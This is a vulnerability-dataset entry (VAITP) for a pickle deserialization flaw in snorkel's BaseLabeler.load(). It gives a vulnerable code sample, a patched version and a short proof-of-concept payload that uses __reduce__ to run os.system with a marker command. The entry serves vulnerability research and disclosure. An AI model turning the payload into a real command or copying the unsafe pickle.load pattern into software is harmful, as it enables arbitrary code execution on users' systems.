VAITP Dataset

← Back to the dataset

CVE-2026-31223

Insecure deserialization in snorkel's BaseLabeler.load() allows for RCE.

  • CVSS 8.8
  • CWE-502
  • Input Validation and Sanitization
  • Local

The snorkel library thru v0.10.0 contains a critical insecure deserialization vulnerability (CWE-502) in the BaseLabeler.load() method of the BaseLabeler class. The method loads serialized labeler models using the unsafe pickle.load() function on user-supplied file paths without any validation or security controls. Python's pickle module is inherently dangerous for deserializing untrusted data, as it can execute arbitrary code during the deserialization process. A remote attacker can exploit this by providing a maliciously crafted pickle file, leading to arbitrary code execution on the victim's system when the file is loaded via the vulnerable method.

CVE
CVE-2026-31223
CWE
CWE-502
CVSS base score
8.8
Published
2026-05-12
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
snorkel
Fixed by upgrading
Yes

Solution

Upgrade to a version of Snorkel greater than v0.10.0.

Vulnerable code sample

import pickle
from abc import ABC, abstractmethod
from typing import Any, List

class BaseLabeler(ABC):
    """Abstract base class for a labeler."""

    def __init__(self, name: str) -> None:
        self.name = name

    @abstractmethod
    def __call__(self, x: Any) -> int:
        raise NotImplementedError

    def save(self, path: str) -> None:
        """Save a BaseLabeler to a file path."""
        with open(path, "wb") as f:
            pickle.dump(self, f)

    @classmethod
    def load(cls, path: str) -> "BaseLabeler":
        """Load a BaseLabeler from a file path."""
        with open(path, "rb") as f:
            return pickle.load(f)

    def apply(self, split: str = "train") -> None:
        """Apply the labeler to a data split."""
        raise NotImplementedError

Patched code sample

import warnings
from abc import ABC
from pathlib import Path
from typing import Type, TypeVar

LB = TypeVar("LB", bound="BaseLabeler")


class BaseLabeler(ABC):
    """Abstract base class for a labeler."""

    def save(self, file_path: Path) -> None:
        """Save the labeler.

        This method is no longer supported. Please save the underlying
        model using torch.save.

        Parameters
        ----------
        file_path
            Path to the file where the labeler is stored
        """
        warnings.warn(
            "Saving a Labeler is deprecated and will be removed in a future "
            "version. Please save the underlying model using torch.save.",
            DeprecationWarning,
        )
        raise NotImplementedError

    @classmethod
    def load(cls: Type[LB], file_path: Path) -> LB:
        """Load the labeler.

        This method is no longer supported. Please load the underlying
        model using torch.load and re-initialize the Labeler.

        Parameters
        ----------
        file_path
            Path to the file where the labeler is stored

        Returns
        -------
        BaseLabeler
            The loaded labeler
        """
        warnings.warn(
            "Loading a Labeler is deprecated and will be removed in a future "
            "version. Please load the underlying model using torch.load and "
            "re-initialize the Labeler.",
            DeprecationWarning,
        )
        raise NotImplementedError

Payload

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('touch /tmp/pwned_by_pickle')
        return (os.system, (cmd,))

with open('malicious_model.pkl', 'wb') as f:
    pickle.dump(RCE(), f)

Cite this entry

@misc{vaitp:cve202631223,
  title        = {{Insecure deserialization in snorkel's BaseLabeler.load() allows for RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31223},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31223/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::